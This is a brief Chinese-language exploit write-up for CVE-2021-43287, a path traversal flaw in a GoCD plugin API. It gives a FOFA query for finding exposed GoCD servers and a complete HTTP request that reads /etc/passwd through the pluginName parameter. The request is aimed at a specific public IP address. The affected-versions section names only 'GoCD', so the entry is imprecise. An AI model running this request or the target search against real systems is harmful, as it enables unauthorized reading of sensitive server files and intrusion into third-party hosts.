GoCD plugin 任意文件读取漏洞(CVE-2021-43287)
一、漏洞简介
GoCD plugin aip 参数中的 pluginName 参数存在任意文件读取漏洞，导致攻击者可以获取服务器中的任意敏感信息。
二、影响版本
- GoCD
三、资产测绘
- fofa
title="Create a pipeline - Go" - 特征
四、漏洞复现
GET /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd HTTP/1.1
Host: 52.55.136.46
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://fofa.info/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close